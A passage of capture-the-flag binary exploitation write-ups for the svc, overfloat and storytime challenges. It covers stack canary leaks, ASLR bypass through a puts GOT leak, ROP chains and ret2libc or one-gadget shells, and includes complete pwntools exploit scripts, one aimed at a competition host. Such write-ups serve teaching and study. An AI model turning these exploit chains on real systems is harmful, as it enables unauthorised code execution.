                     endl<char,std--char_traits<char>>);
          this = operator<<<std--char_traits<char>>
                           ((basic_ostream *)cout,"[*]GIVE HIM SOME FOOD.......");
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                     endl<char,std--char_traits<char>>);
          this = operator<<<std--char_traits<char>>
                           ((basic_ostream *)cout,"-------------------------");
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                     endl<char,std--char_traits<char>>);
          operator<<<std--char_traits<char>>((basic_ostream *)cout,">>");
          read(0,input,0xf8);
        }
        else {
          this = operator<<<std--char_traits<char>>
                           ((basic_ostream *)cout,"[*]DO NOT HURT MY SCV....");
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                     endl<char,std--char_traits<char>>);
        }
      }
    }
  }
  if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

Looking through it, we see that this menu runs in a while true loop:

  while (bVar2) {
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"-------------------------");

For each iteration of the loop, we see that it prompts us for a menu option:

    operator<<<std--char_traits<char>>((basic_ostream *)cout,">>");
    operator>>((basic_istream<char,std--char_traits<char>> *)cin,&menuChoice);
    if (menuChoice == 2) {

For the option to scan in data (option 1) we see that it uses read to scan in 0xf8 bytes of data into input. Since input is a 168 (0xa8) byte char array, this option gives us a buffer overflow. The extra space is more than enough to overwrite the return address:

          operator<<<std--char_traits<char>>((basic_ostream *)cout,">>");
          read(0,input,0xf8);

Looking at the contents of the memory after we feed it the string 15935728, we can see there are 0xb8 bytes between the start of our input and the return address (this breakpoint is for right after the read call):

Breakpoint 1, 0x0000000000400cd3 in ?? ()
gef➤  i f
Stack level 0, frame at 0x7fffffffded0:
 rip = 0x400cd3; saved rip = 0x7ffff767cb97
 called by frame at 0x7fffffffdf90
 Arglist at 0x7fffffffddf8, args: 
 Locals at 0x7fffffffddf8, Previous frame's sp is 0x7fffffffded0
 Saved registers:
  rbp at 0x7fffffffdec0, rip at 0x7fffffffdec8
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffde10 - 0x7fffffffde18  →   "15935728[...]" 

A bit of python math:

>>> hex(0x7fffffffdec8 - 0x7fffffffde10)
'0xb8'

For the option 2 to show the input, we see that it just prints input with the puts function:

      puts(input);

Finally with option 3, we see it essentially just exits the loop and returns by setting bVar2 to false. We will need to send this option to get the code to return, so we can get code execution with the buffer overflow:

    else {
      if (menuChoice == 3) {
        bVar2 = false;
        this = operator<<<std--char_traits<char>>
                         ((basic_ostream *)cout,"[*]BYE ~ TIME TO MINE MIENRALS...");
        operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                   endl<char,std--char_traits<char>>);
      }

So we have a buffer overflow bug that we can use to get the return address. However the first mitigation we will need to overcome is the stack canary. The stack canary is an eight byte random integer (four bytes for x86 systems) that is placed between the variables and the return address. In order to overwrite the return address, we have to overwrite the stack canary. However before the return address is executed, it checks to see if the stack canary has the same value. If it doesn't the program immediately ends.

In order to bypass this, we will need to leak the stack canary. That way we can just overwrite the stack canary with itself, so it will pass the stack canary check and execute the return address (which we will overwrite). We will leak it with the puts call, which will print data that it is given a pointer to until it reaches a null byte. With stack canaries the least significant byte is a null byte. So we will just send enough data just to overflow the least significant byte of the stack canary, then print our input. This will print all of our data and the highest seven eight bytes of the stack canary, and since we the lowest byte will always be a null byte, we know the full stack canary. Then we can just execute the buffer overflow again and write over the stack canary with itself in order to defeat this mitigation.

In order to leak the canary we will need to send 0xa9 bytes worth of data. The first 0xa8 will be to fill up the input char array, and the last byte will be to overwrite the least signifcant byte of the stack canary. Let's take a look at the memory for a bit more detail:

gef➤  x/24g 0x7ffe80d6b4e0
0x7ffe80d6b4e0: 0x3832373533393531  0x00007fa279a33628
0x7ffe80d6b4f0: 0x0000000000400930  0x00007fa279686489
0x7ffe80d6b500: 0x00007ffe80d6b540  0x0000000000000001
0x7ffe80d6b510: 0x00007ffe80d6b540  0x0000000000601df8
0x7ffe80d6b520: 0x00007ffe80d6b688  0x0000000000400e1b
0x7ffe80d6b530: 0x0000000000000000  0x000000010000ffff
0x7ffe80d6b540: 0x00007ffe80d6b550  0x0000000000400e31
0x7ffe80d6b550: 0x0000000000000002  0x0000000000400e8d
0x7ffe80d6b560: 0x00007fa279dcd9a0  0x0000000000000000
0x7ffe80d6b570: 0x0000000000400e40  0x00000000004009a0
0x7ffe80d6b580: 0x00007ffe80d6b670  0x05345bfe35ee0700
0x7ffe80d6b590: 0x0000000000400e40  0x00007fa279664b97

here we can see our input 15935728 starts at 0x7ffe80d6b4e0. 0xa8 bytes down the stack we can see the stack canary 0x05345bfe35ee0700 at 0x7ffe80d6b588 followed by the saved base pointer and return addess. After the overflow this is what the memory looks like:

gef➤  x/24g 0x7ffe80d6b4e0
0x7ffe80d6b4e0: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b4f0: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b500: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b510: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b520: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b530: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b540: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b550: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b560: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b570: 0x3030303030303030  0x3030303030303030
0x7ffe80d6b580: 0x3030303030303030  0x05345bfe35ee0730
0x7ffe80d6b590: 0x0000000000400e40  0x00007fa279664b97

With that, we can leak the stack canary by printing our input.

The next step will be to defeat ASLR. ASLR is a mitigation that will essential randomize the addresses sections of memory are in. This way when we run the program, we don't actually know where various things in memory are. While the addresses are randomized, the spacing between things are not. For instance in the libc (libc is where all of the standard functions like puts, printf, and fgets are stored most of the time) the address of puts and system will be different every time we run the program. However the offset between them will not be. So if we leak the address of puts, we can just add / subtract the offset to system and we will have the address of system. So we just need to leak a single address from a memory space (that we know what that memory address points to) in order to break ASLR in that region.

Let's take a look at all of the different memory regions in gdb with the vmmap command while the program is running:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /Hackery/csaw/svc
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /Hackery/csaw/svc
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /Hackery/csaw/svc
0x0000000000603000 0x0000000000635000 0x0000000000000000 rw- [heap]
0x00007ffff716c000 0x00007ffff7182000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7182000 0x00007ffff7381000 0x0000000000016000 --- /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7381000 0x00007ffff7382000 0x0000000000015000 rw- /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7382000 0x00007ffff748a000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff748a000 0x00007ffff7689000 0x0000000000108000 --- /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff7689000 0x00007ffff768a000 0x0000000000107000 r-- /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff768a000 0x00007ffff768b000 0x0000000000108000 rw- /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff768b000 0x00007ffff784b000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff784b000 0x00007ffff7a4b000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7a4b000 0x00007ffff7a4f000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7a4f000 0x00007ffff7a51000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7a51000 0x00007ffff7a55000 0x0000000000000000 rw- 
0x00007ffff7a55000 0x00007ffff7bc7000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7bc7000 0x00007ffff7dc7000 0x0000000000172000 --- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dc7000 0x00007ffff7dd1000 0x0000000000172000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dd1000 0x00007ffff7dd3000 0x000000000017c000 rw- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw- 
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd8000 0x00007ffff7fde000 0x0000000000000000 rw- 
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]

So we can see all of the memory regions here. The memory region I am going to break ASLR in is the libc-2.23.so region starting at 0x00007ffff768b000 and ending at 0x00007ffff784b000. There are two resons for this. The first is that if we leak an address in this region, it will give us access to a lot of gadgets so we can do a lot of things with our code. The second is that we can get an infoleak in this region. Looking at the imported functions in Ghidra, we can see that puts is an imported function. Puts will print the data pointed to by a pointer it is handed, until it reaches a null byte. The GOT table is a section of memory in the elf that holds various libc addresses. It does this so the binary knows where it can find those addresses, since it doesn't know what they will be when it compiles. Since PIE is disabled, the GOT entry addresses aren't randomized and we know what they are. So if we were to pass the GOT entry address for puts to puts (which we can call since it is an imported function, meaning it is compiled into the binary, and we know it's address because there is no pie) we will get the libc address of puts.

Also a quick tangent, pie (position independent executable) essentially means there is ASLR for addresses in the elf. For this binary that would include these regions. If this was enabled and we wanted to do what we are doing with the puts infoleak, we would need another infoleak in this region:

0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /Hackery/course/content/ctf_course/modules/bof_dynamic/csawquals17_svc/svc
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /Hackery/course/content/ctf_course/modules/bof_dynamic/csawquals17_svc/svc
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /Hackery/course/content/ctf_course/modules/bof_dynamic/csawquals17_svc/svc

To do this infoleak, we will need three things. The plt address of puts (address of the imported function which we will use to call it), the address of the got entry of puts (holds the libc address), and a rop gadget to pop the got entry into the rdi register, and then return. Since puts expects it's input (a single char pointer) in the rdi register, that is where we need to place it. To find the plt and got addresses, we can just use pwntools:

$ python
Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> elf = ELF('svc')
[*] '/Hackery/course/content/ctf_course/modules/bof_dynamic/csawquals17_svc/svc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
>>> print "plt address: " + hex(elf.symbols['puts'])
plt address: 0x4008cc
>>> print "got address: " + hex(elf.got['puts'])
got address: 0x602018

To find the rop gadget we need, we can use a ROP gadget finding utillity called ROPGadget (https://github.com/JonathanSalwan/ROPgadget):

$ python ROPgadget.py --binary svc | grep "pop rdi"
0x0000000000400ea3 : pop rdi ; ret

The last mitigation we will overcome is the Non-Executable Stack. This essentially means that the stack does not have the execute permission. So we cannot execute code on the stack. Our method to bypass this will be using a mix of a simple ROP chain, and a ret2libc (return to libc) attack. ROP (return oriented programming) is when we essentially take bits of code that is already in the binary, and stich them together to make code that does what we want. It will be comprised of ROP gadgets, which are essentially pointers to bits of code that end in a ret instruction, which will make it move to the next gadget. Since these are all valid instruction pointers to code that should run, it will be marked as executable and we won't have any issues. Also a fun side not, if we were to make a ROP gadget that jumps in the middle of an instruction, it would completely change what the instruction does.

One more thing, since our exploit relies off of the libc memory region, the version of libc running will make a bit of a difference with the exploit's offsets. It isn't anything too big, but you will need to make a few changes. If you are running a different libc version than what I am, your offsets here should be different. To see what libc version you are running, you can use the vmmap command:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /Hackery/csaw/svc
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /Hackery/csaw/svc
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /Hackery/csaw/svc
0x0000000000603000 0x0000000000635000 0x0000000000000000 rw- [heap]
0x00007ffff716c000 0x00007ffff7182000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7182000 0x00007ffff7381000 0x0000000000016000 --- /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7381000 0x00007ffff7382000 0x0000000000015000 rw- /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7382000 0x00007ffff748a000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff748a000 0x00007ffff7689000 0x0000000000108000 --- /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff7689000 0x00007ffff768a000 0x0000000000107000 r-- /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff768a000 0x00007ffff768b000 0x0000000000108000 rw- /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff768b000 0x00007ffff784b000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff784b000 0x00007ffff7a4b000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7a4b000 0x00007ffff7a4f000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7a4f000 0x00007ffff7a51000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7a51000 0x00007ffff7a55000 0x0000000000000000 rw- 
0x00007ffff7a55000 0x00007ffff7bc7000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7bc7000 0x00007ffff7dc7000 0x0000000000172000 --- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dc7000 0x00007ffff7dd1000 0x0000000000172000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dd1000 0x00007ffff7dd3000 0x000000000017c000 rw- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw- 
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd8000 0x00007ffff7fde000 0x0000000000000000 rw- 
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]

Here we can see that the libc file is /lib/x86_64-linux-gnu/libc-2.23.so. Now there are three offsets we need to find from the base of libc. Those are for system, puts (we will subtract this offset from the libc puts address to get it's base), and the string /bin/sh. We can do that by hand with a bit. First grab the addresses of the things we need in memory:

gef➤  p puts
$1 = {<text variable, no debug info>} 0x7ffff76fa690 <_IO_puts>
gef➤  p system
$2 = {<text variable, no debug info>} 0x7ffff76d0390 <__libc_system>
gef➤  search-pattern /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/lib/x86_64-linux-gnu/libc-2.23.so'(0x7ffff768b000-0x7ffff784b000), permission=r-x
  0x7ffff7817d57 - 0x7ffff7817d5e  →   "/bin/sh" 

Then subtract the base address of the memory region from the addresses to get the offset:

>>> hex(0x7ffff76fa690 - 0x00007ffff768b000)
'0x6f690'
>>> hex(0x7ffff76d0390 - 0x00007ffff768b000)
'0x45390'
>>> hex(0x7ffff7817d57 - 0x00007ffff768b000)
'0x18cd57'

One last thing I need to say about this exploit. I mentioned earlier that our strategy is to first leak the stack canary, then overflow the return address with a simple ROP chain that will give us a libc infoleak, then loop back around to the start of menu so we can re-exploit the bug with a libc infoleak. When we re-exploit it a second time, we will use the libc infoleak to just call system with the argument /bin/sh (both in the libc) to give us a shell. The particular address we will loop back to will be 0x400a96 (the start of menu), sometimes it's a bit more tricky than that but not now.

Putting it all together, we get the following exploit:

# Import pwntools
from pwn import *

target = process("./svc")
gdb.attach(target)

elf = ELF('svc')


# 0x0000000000400ea3 : pop rdi ; ret
popRdi = p64(0x400ea3)

gotPuts = p64(0x602018)
pltPuts = p64(0x4008cc)

offsetPuts = 0x6f690
offsetSystem = 0x45390
offsetBinsh = 0x18cd57
#offsetPuts = 0x83cc0
#offsetSystem = 0x52fd0
#offsetBinsh = 0x1afb84

startMain = p64(0x400a96)

# Establish fucntions to handle I/O with the target
def feed(data):
  print target.recvuntil(">>")
  target.sendline('1')
  print target.recvuntil(">>")
  target.send(data)

def review():
  print target.recvuntil(">>")
  target.sendline('2')
  #print target.recvuntil("[*]PLEASE TREAT HIM WELL.....\n-------------------------\n")
  #leak = target.recvuntil("-------------------------").replace("-------------------------", "")
  print target.recvuntil("0"*0xa9)
  canaryLeak = target.recv(7)
  canary = u64("\x00" + canaryLeak)
  print "canary is: " + hex(canary)
  return canary

def leave():
  print target.recvuntil(">>")
  target.sendline("3")

# Start of with the canary leak. We will overflow the buffer write up to the stack canary, and overwrite the least signifcant byte of the canary
leakCanary = ""
leakCanary += "0"*0xa8 # Fill up space up to the canary
leakCanary += "0" # Overwrite least significant byte of the canary



feed(leakCanary) # Execute the overwrite

canary = review() # Leak the canary, and parse it out

# Start the rop chain to give us a libc infoleak
leakLibc = ""
leakLibc += "0"*0xa8 # Fill up space up to the canary
leakLibc += p64(canary) # Overwrite the stack canary with itself
leakLibc += "1"*0x8 # 8 more bytes until the return address
leakLibc += popRdi # Pop got entry for puts in rdi register
leakLibc += gotPuts # GOT address of puts
leakLibc += pltPuts # PLT address of puts
leakLibc += startMain # Loop back around to the start of main

# Send the payload to leak libc
feed(leakLibc)

# Return to execute our code
leave()

# Scan in and parse out the infoleak

print target.recvuntil("[*]BYE ~ TIME TO MINE MIENRALS...\x0a")

putsLeak = target.recvline().replace("\x0a", "")

putsLibc = u64(putsLeak + "\x00"*(8-len(putsLeak)))

# Calculate the needed addresses

libcBase = putsLibc - offsetPuts
systemLibc = libcBase + offsetSystem
binshLibc = libcBase + offsetBinsh

print "libc base: " + hex(libcBase)

# Form the payload to return to system

payload = ""
payload += "0"*0xa8
payload += p64(canary)
payload += "1"*0x8
payload += popRdi # Pop "/bin/sh" into the rdi register, where it expects it's argument (single char pointer)
payload += p64(binshLibc) # Address to '/bin/sh'
payload += p64(systemLibc) # Libc address of system

# Send the final payload
feed(payload)

target.sendline("3")

#feed(payload)

# Return to execute our code, return to system and get a shell
#leave()

target.interactive()

Facebook CTF 2019 Overfloat

This challenge was a team effort, my fellow Nasa Rejects team mate qw3rty01 helped me out with tthis one.

One thing about this challenge, it is supposed to be done with the libc-2.27.so, which is the default libc version for Ubuntu 18.04. You can check what libc version is loaded in by checking the memory mappings with in gdb with the vmmap command. If it isn't the default, you will need to so something like using ptrace to switch the libc version, or adjust the offsets to match your own libc file.

Let's take a look at the binary:

$	file overfloat 
overfloat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=8ae8ef04d2948115c648531ee0c12ba292b92ae4, not stripped
$	pwn checksec overfloat 
[*] '/Hackery/fbctf/overfloat/dist/overfloat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

So we can see that it we are given a 64 bit dynamically linked binary, with a non-executable stack. In addition to that we are give the libc file libc-2.27.so. Running the program we see that it prompts us for latitude / longtitude pairs:

$	./overfloat 
                                 _ .--.        
                                ( `    )       
                             .-'      `--,     
                  _..----.. (             )`-. 
                .'_|` _|` _|(  .__,           )
               /_|  _|  _|  _(        (_,  .-' 
              ;|  _|  _|  _|  '-'__,--'`--'    
              | _|  _|  _|  _| |               
          _   ||  _|  _|  _|  _|               
        _( `--.\_|  _|  _|  _|/               
     .-'       )--,|  _|  _|.`                 
    (__, (_      ) )_|  _| /                   
      `-.__.\ _,--'\|__|__/                  
                    ;____;                     
                     \YT/                     
                      ||                       
                     |""|                    
                     '=='                      

WHERE WOULD YOU LIKE TO GO?
LAT[0]: 4
LON[0]: 2
LAT[1]: 8
LON[1]: 4
LAT[2]: 2
LON[2]: 8
LAT[3]: Too Slow! Sorry :(

When we look at the main function in Ghidra, we see this code:

undefined8 main(void)

{
  undefined charBuf [48];
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  alarm(0x1e);
  __sysv_signal(0xe,timeout);
  puts(
      "                                 _ .--.        \n                                ( `    )      \n                             .-\'      `--,     \n                  _..----.. (            )`-. \n                .\'_|` _|` _|(  .__,           )\n               /_|  _|  _|  _(       (_,  .-\' \n              ;|  _|  _|  _|  \'-\'__,--\'`--\'    \n              | _|  _| _|  _| |               \n          _   ||  _|  _|  _|  _|               \n        _( `--.\\_| _|  _|  _|/               \n     .-\'       )--,|  _|  _|.`                 \n    (__, (_     ) )_|  _| /                   \n      `-.__.\\ _,--\'\\|__|__/                  \n                   ;____;                     \n                     \\YT/                     \n                     ||                       \n                     |\"\"|                    \n                    \'==\'                      \n\nWHERE WOULD YOU LIKE TO GO?"
      );
  memset(charBuf,0,0x28);
  chart_course(charBuf);
  puts("BON VOYAGE!");
  return 0;
}

Looking through the code here, we see that the part we are really interested about is chart_course function call, which takes the pointer charBuf as an argument. When we look at the chart_course disassembly in Ghidra, we see this:

void chart_course(long ptr)

{
  int doneCheck;
  uint uVar1;
  double float;
  char input [104];
  uint lat_or_lon;
  
  lat_or_lon = 0;
  do {
    if ((lat_or_lon & 1) == 0) {
      uVar1 = ((int)(lat_or_lon + (lat_or_lon >> 0x1f)) >> 1) % 10;
      printf("LAT[%d]: ",(ulong)uVar1,(ulong)uVar1);
    }
    else {
      uVar1 = ((int)(lat_or_lon + (lat_or_lon >> 0x1f)) >> 1) % 10;
      printf("LON[%d]: ",(ulong)uVar1,(ulong)uVar1,(ulong)uVar1);
    }
    fgets(input,100,stdin);
    doneCheck = strncmp(input,"done",4);
    if (doneCheck == 0) {
      if ((lat_or_lon & 1) == 0) {
        return;
      }
      puts("WHERES THE LONGITUDE?");
      lat_or_lon = lat_or_lon - 1;
    }
    else {
      float = atof(input);
      memset(input,0,100);
      *(float *)(ptr + (long)(int)lat_or_lon * 4) = (float)float;
    }
    lat_or_lon = lat_or_lon + 1;
  } while( true );
}

Looking at this function, we can see that it essentially scans in data as four byte floats into the char ptr that is passed to the function as an argument. It does this by scanning in 100 bytes of data into input, converting it to a float stored in float, and then setting ptr + (x * 4) equal to float (where x is equal to the amount of floats scanned in already). There is no checking to see if it overflows the buffer, and with that we have a buffer overflow.

That is ran within a do while loop, that on paper can run forever (since the condition is while(true)). However there the termination condition is if the first four bytes of our input is done. Keep in mind that the buffer that we are overflowing is from the stack in main, so we need to return from the main function before getting code exeuction.

Also there is functionallity which will swap between prompting us for either LAT or LON, and which one in the sequence there is. However this doesn't affect us too much.

Now we need to exploit the bug. In the main function since charBuf is the only thing on the stack, there is nothing between it and the saved base pointer. Add on an extra 8 bytes for the saved base pointer to the 48 bytes for the space charBuf takes up and we get 56 bytes to reach the return address. Now the question is what code do we execute? I decided to go with a ROP Chain using gagdets and imported functions from the binary, since PIE isn't enabled so we don't need an infoleak to do this. However the binary isn't too big so we don't have the gadgets we would need to pop a shell.

To counter this, I would just setup a puts call(since puts is an imported function, we can call it) with the got address of puts to give us a libc infoleak, then loop back around by calling the start of main which would allow us to exploit the same bug again with a libc infoleak. Then we can just write a onegadget to the return address to pop a shell.

Now we need to setup the first part of the infoleak. First find the plt address of puts 0x400690:

objdump -D overfloat | grep puts
0000000000400690 <puts@plt>:
  400690:	ff 25 8a 19 20 00    	jmpq   *0x20198a(%rip)        # 602020 <puts@GLIBC_2.2.5>
  400846:	e8 45 fe ff ff       	callq  400690 <puts@plt>
  400933:	e8 58 fd ff ff       	callq  400690 <puts@plt>
  4009e8:	e8 a3 fc ff ff       	callq  400690 <puts@plt>
  400a14:	e8 77 fc ff ff       	callq  400690 <puts@plt>

Next find the got entry address for puts:

$	objdump -R overfloat | grep puts
0000000000602020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5

Finally we just need to gadget to pop an argument into the rdi register than return:

$	python ROPgadget.py --binary overfloat | grep "pop rdi"
0x0000000000400a83 : pop rdi ; ret

Also for the loop around address, I just tried the start of main and it worked. After we get the libc infoleak we can just subtract the offset of puts from it to get the libc base. The only part that remains is the onegadget. I just tried the first one and it worked (I decided to go with guess and check instead of checking the conditions when the gadget would be executed):

$	one_gadget libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:

With that we have everything we need to build our exploit. Since all of our inputs are interpreted as floats, we have to jump through a few hoops in order to get our inputs correct:

from pwn import *
import struct

# Establish values for the rop chain
putsPlt = 0x400690
putsGot = 0x602020
popRdi = 0x400a83

startMain = 0x400993
oneShot = 0x4f2c5

# Some helper functions to help with the float input
# These were made by qw3rty01
pf = lambda x: struct.pack('f', x)
uf = lambda x: struct.unpack('f', x)[0]

# Establish the target, and the libc file
target = remote("challenges.fbctf.com", 1341)
#target = process('./overfloat')
#gdb.attach(target)

# If for whatever reason you are usign a different libc file, just change it out here and it should work
libc = ELF('libc-2.27.so')

# A helper function to send input, made by a team mate
def sendVal(x):
    v1 = x & ((2**32) - 1)
    v2 = x >> 32
    target.sendline(str(uf(p32(v1))))
    target.sendline(str(uf(p32(v2))))

# Fill up the space between the start of our input and the return address
for i in xrange(7):
    sendVal(0xdeadbeefdeadbeef)

# Send the rop chain to print libc address of puts
# then loop around to the start of main

sendVal(popRdi)
sendVal(putsGot)
sendVal(putsPlt)
sendVal(startMain)

# Send done so our code executes
target.sendline('done')

# Print out the target output
print target.recvuntil('BON VOYAGE!\n')

# Scan in, filter out the libc infoleak, calculate the base
leak = target.recv(6)
leak = u64(leak + "\x00"*(8-len(leak)))
base = leak - libc.symbols['puts']

print "libc base: " + hex(base)

# Fill up the space between the start of our input and the retun address
# For the second round of exploiting the bug
for i in xrange(7):
    sendVal(0xdeadbeefdeadbeef)

# Overwrite the return address with a onegadget
sendVal(base + oneShot)

# Send done so our rop chain executes
target.sendline('done')

target.interactive()

hs 2019 storytime

Let's take a look at the binary:

$    file storytime
storytime: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3f716e7aa7e236824c52ed0410c1f14739919822, not stripped
$    pwn checksec storytime
[*] '/Hackery/hs/storytime/storytime'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
15935728

So we are dealing with a 64 bit dynamically linked binary that has a non-executable stack. When we run it, it prompts us for input. Let's look at the main function in Ghidra:

undefined8 main(void)

{
  undefined input [48];
 
  setvbuf(stdout,(char *)0x0,2,0);
  write(1,"HSCTF PWNNNNNNNNNNNNNNNNNNNN\n",0x1d);
  write(1,"Tell me a story: \n",0x12);
  read(0,input,400);
  return 0;
}

So we can see that it starts out by printing some data with the write function. Proceeding that it will scan in 400 bytes of data into input (which can only hold 48 bytes), and give us a buffer overflow. There is no stack canary, so there isn't anything stopping us from executing code. The question is, what will we execute?

Looking under the imports in Ghidra, we can see that our imported functions are read, write, and setvbuf. Since PIE is not enabled, we can call any of these functions. Also since the elf is dynamically linked (and a pretty small binary), we don't have a lot of gadgets. My plan to go about getting a shell has two parts. The first part is getting a libc infoleak with a write function that writes to stdout (1), then loop back again to a vulnerable read call and overwrite the return address with a onedgadget. A onegadget is essentially a single ROP gadget that can be found in the libc, that if the right conditions are meant when it is ran, it will give you a shell (the project for the onegadget finder can be found at: https://github.com/david942j/one_gadget).

The issue with this is we don't know what version of libc is running on a server. For this I looked at what libc version they gave out for other challenges and guessed and checked. After a bit I found that it was libc version libc.so.6. However before I did that I got it working locally with my own libc. To see what libc file your binary is loaded with, and where the file is stored, you can just run the vmmap command in gdb while the binary is running:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery/hs/storytime/storytime
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /Hackery/hs/storytime/storytime
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /Hackery/hs/storytime/storytime
